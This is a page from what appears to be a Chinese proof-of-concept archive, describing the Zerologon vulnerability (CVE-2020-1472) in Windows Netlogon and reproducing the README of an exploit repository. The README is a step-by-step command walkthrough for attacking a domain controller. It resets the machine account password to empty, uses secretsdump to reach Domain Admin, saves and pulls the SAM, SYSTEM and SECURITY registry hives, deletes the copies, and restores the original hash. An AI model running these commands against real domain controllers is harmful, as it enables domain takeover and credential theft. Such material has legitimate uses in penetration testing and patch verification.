POC详情: 902a4789f2b5d90a4b745f11506357004ceb636e

来源
关联漏洞
标题: Microsoft Windows Netlogon 安全特征问题漏洞 (CVE-2020-1472)
描述:Microsoft Windows Netlogon是美国微软(Microsoft)公司的Windows的一个重要组件,主要功能是用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。 Microsoft Windows Netlogon 存在安全漏洞。攻击者可以使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器的易受攻击的 Netlogon 安全通道连接并进行特权提升。
描述
Exploit for zerologon cve-2020-1472
介绍
# ZeroLogon exploitation script

Exploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc.

To exploit, clear out any previous Impacket installs you have and install Impacket from https://github.com/SecureAuthCorp/impacket/commit/b867b21 or newer. Then, do:

```
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
```

If that's successful you will then be able to:
```
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
```
which should get you Domain Admin. After you have that, wmiexec.py to the target DC with a credential from the secretsdump and do
```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
```

Then you can
```
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```
And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by
```
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
```

Reinstalling the original hash is necessary for the DC to continue to operate normally.
文件快照

[4.0K] /data/pocs/902a4789f2b5d90a4b745f11506357004ceb636e ├── [1.1K] LICENSE ├── [1.3K] README.md ├── [6.4K] reinstall_original_pw.py ├── [ 348] requirements.txt └── [5.7K] set_empty_pw.py 0 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。